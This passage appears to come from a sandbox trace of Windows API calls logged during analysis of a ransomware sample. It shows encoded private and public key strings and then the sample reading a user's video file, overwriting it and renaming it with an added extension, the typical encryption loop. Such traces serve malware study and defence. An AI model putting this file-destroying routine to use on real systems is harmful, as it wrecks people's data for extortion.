cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.496] GetCurrentThreadId () returned 0xa30 [0087.496] GetCurrentThreadId () returned 0xa30 [0087.496] GetCurrentThreadId () returned 0xa30 [0087.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.497] GetCurrentThreadId () returned 0xa30 [0087.497] GetCurrentThreadId () returned 0xa30 [0087.497] GetCurrentThreadId () returned 0xa30 [0087.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\I9T1DkViXh.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\i9t1dkvixh.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.498] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0087.498] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.498] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0xc093 [0087.498] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.498] ReadFile (in: hFile=0x11c, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0xc093, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f6a0*=0xc093, lpOverlapped=0x0) returned 1 [0087.500] CloseHandle (hObject=0x11c) returned 1 [0087.501] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\I9T1DkViXh.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\i9t1dkvixh.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.504] WriteFile (in: hFile=0x11c, lpBuffer=0x1f06fa0*, nNumberOfBytesToWrite=0xc093, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f06fa0*, lpNumberOfBytesWritten=0x18f6ac*=0xc093, lpOverlapped=0x0) returned 1 [0087.507] CloseHandle (hObject=0x11c) returned 1 [0087.509] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\I9T1DkViXh.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\i9t1dkvixh.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\I9T1DkViXh.mkv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\i9t1dkvixh.mkv.zv7un")) returned 1 [0087.516] GetCurrentThreadId () returned 0xa30 [0087.516] GetCurrentThreadId () returned 0xa30 [0087.516] GetCurrentThreadId () returned 0xa30 [0087.516] GetCurrentThreadId () returned 0xa30 [0087.516] GetCurrentThreadId () returned 0xa30 [0087.516] GetCurrentThreadId () returned 0xa30 [0087.516] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fc5130, ftCreationTime.dwHighDateTime=0x1d5ded6, ftLastAccessTime.dwLowDateTime=0xf5118920, ftLastAccessTime.dwHighDateTime=0x1d5ddf9, ftLastWriteTime.dwLowDateTime=0xf5118920, ftLastWriteTime.dwHighDateTime=0x1d5ddf9, nFileSizeHigh=0x0, nFileSizeLow=0xa67d, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Jm93YYgfImkrpUx-Vb_0.flv", cAlternateFileName="JM93YY~1.FLV")) returned 1 [0087.516] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.516] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.517] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\Jm93YYgfImkrpUx-Vb_0.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\jm93yygfimkrpux-vb_0.flv"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fc5130, ftCreationTime.dwHighDateTime=0x1d5ded6, ftLastAccessTime.dwLowDateTime=0xf5118920, ftLastAccessTime.dwHighDateTime=0x1d5ddf9, ftLastWriteTime.dwLowDateTime=0xf5118920, ftLastWriteTime.dwHighDateTime=0x1d5ddf9, nFileSizeHigh=0x0, nFileSizeLow=0xa67d)) returned 1 [0087.517] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\Jm93YYgfImkrpUx-Vb_0.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\jm93yygfimkrpux-vb_0.flv")) returned 0x20 [0087.517] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\Jm93YYgfImkrpUx-Vb_0.flv", dwFileAttributes=0x80) returned 1 [0087.519] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.519] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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